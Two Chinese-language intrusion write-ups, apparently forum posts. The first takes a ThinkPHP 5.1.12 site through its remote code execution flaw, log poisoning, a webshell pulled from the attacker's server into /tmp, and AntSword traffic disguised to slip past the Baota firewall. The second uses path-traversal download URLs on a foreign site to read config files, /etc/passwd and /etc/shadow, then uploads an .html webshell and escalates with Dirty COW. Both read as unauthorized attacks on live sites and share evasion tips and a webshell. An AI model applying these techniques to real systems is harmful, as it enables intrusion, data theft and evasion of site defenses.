直接进入正题吧,该漏洞是1月份爆出的THINKPHP 5.0.X-5.0.23、5.1.X、5.2.X 全版本远程代码执行漏洞,目标thinkphp版本是5.1.12,试了几个poc不管用,@cimoom直接给我测试成功的poc和相应的shell,如图所示

1.png

经过几轮测试发现只有这个shell可用,各种变形绕过虽然能成功绕过宝塔防御,但是没有回显,后来才发现php做了安全限制,getshell后看到phpinfo,限制了大部分命令执行/代码执行函数

passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru

2.png

发送请求后触发异常,会把日志写入到runtime/log/201904/19.log,包括完整的post请求,因此可以直接往log里写入shell。此处一个坑是由于目标站点用户较多日志被不断覆盖,所以要反复发送这个请求写入shell。之后利用think__include_file控制器包含文件

3.png

理论上说到这里就已经成功了,但是后面每次都要写不同的php代码来查看目标的信息,而且不能含有危险函数否则会被宝塔拦截,同时这个包含又时不时失败,可以说很不友好了,我们的目标是真正getshell,利用菜刀或蚁剑连接。

现在的情况是,目标存在thinkphp漏洞,我们可以把php代码写入日志后去包含它,进而执行代码。但是有几点限制:

不能含有eval、passthru等,甚至不能含有phpinfo
日志文件很快被覆盖
网站目录被宝塔限制防篡改,无法写入文件

这时的思路是,写入一个下载远程文件的shell然后包含,把远程shell写入可写目录,再次去包含真正的shell,即可绕过宝塔

于是发送下载远程文件的php代码,在远程开一台httpserver,注意加一层url编码防止被拦截,把shell写入/tmp目录

4.png

查看一下,看到成功写入

5.png

注意此处,直接var_dump(scandir('/tmp'))会被拦截,所以借助中间变量绕过

然后再次包含/tmp/123就可以了

6.png

再然后,用蚁剑连接,密码data,配置相应的post参数,选择对应的解码器

7.png

8.png

重点来了,刚才说过,宝塔会拦截菜刀和蚁剑默认的eval,所以就算能包含成功也无法连接上,这时就要用到我上次发在论坛的这个技巧,https://www.t00ls.net/thread-49320-1-1.html,简单说就是使用Multipart发包,同时隐藏eval关键字,再破坏base64编码,这样一来就算目标站点启用了流量监测,我们的webshell通信流量也不会被马上识别出来

9.png

最后,分享给大家这个一句话和蚁剑编解码器

antsword.zip

某日朋友发来一个站让搞!搞搞搞!

1.png

国外站,翻译的我尴尬证都犯了。

2.png

习惯性先发文章看看编辑器上传附件什么的。

3.png

四处上传,首先尝试编辑器处上传图片,经验告诉我越low的编辑器越好拿shell

4.png

我错了,白名单+上传重命名,smarteditor编辑器,各种截断尝试,突破不了

5.png

6.png

这编辑器无敌。随后发现另外三处均是调用此编辑器上传,暂时换思路。

在已经发布的文章中发现绝对路径

http://xxx.com/download.php?dnfile=20190228_012000_0978115.jpg&file=/home/xxx/webapp/../public_html/upload_dir/board/16887879979878fa23f2.jpg

7.png

测试后发现public_html为根目录,决定挖挖注入,万一是root没降权就舒服了

http://www.xxx.com/?module=xx&action=xx&iPopNo=1&seq_cd=1

经过手动加sqlmap测试,发现后台存在时间盲注,由于国外站点访问不稳定的原因,遂放弃,在后期getshell之后发现用户不是root并且权限死得很,为之庆幸并没有在此处浪费时间。

到此处思路死了。编辑器getshell无解,sql注入getshell卒。还有什么思路呢?

我们之前爆出绝对路径的url访问后发现会自动下载

http://xxx.com/download.php?dnfile=20190228_012000_0978115.jpg&file=/home/xxx/webapp/../public_html/upload_dir/board/16887879979878fa23f2.jpg

存在任意文件下载吗?先构造一下尝试

http://xxx.com/download.php?dnfile=download.php&file=/home/xxx/webapp/../public_html/download.php

8.png

bingo!

9.png

存在任意文件下载,我们找下数据库配置文件

http://xxx.com/download.php?dnfile=config.php&file=/home/xxx/webapp/../public_html/index.php

index.php一般会引入数据库的config.php

10.png

重新构造

http://www.xxx.com/download.php?dnfile=config.php&file=/home/xxx/webapp/../public_html/../webapp/config.php

11.png

数据库配置get!后发现没开3306外链,思路断掉。

在这个时候我重新回头看这个任意文件下载,读一下敏感文件试试?

my.cnf
12.png

password被注释掉,无用

/etc/passwd
/etc/shadow
/etc/profile

13.png

14.png

没发现有可用信息。

下载apache配置文件

http://www.xxx.com/download.php?dnfile=1.php&file=/usr/local/apache/conf/httpd.conf

15.png

惊了!html可以被当作php文件!

于是我去编辑器中尝试上传这几种文件,仍以失败告终。

但是附件的我们还没试!

16.png

抓包改后缀,返回文章查看路径

http://www.xxx.com/download.php?dnfile=php.jpg.html&file=/home/xxx/webapp/../public_html/upload_dir/board/13303476456487546a3cd.html

拼接

http://www.xxx.com/upload_dir/board/13303476456487546a3cd.html

17.png

后面的就不说了,提权就是脏牛+bypass disablefunc一条龙,没啥亮点

18.png

本章结束,寡人欲休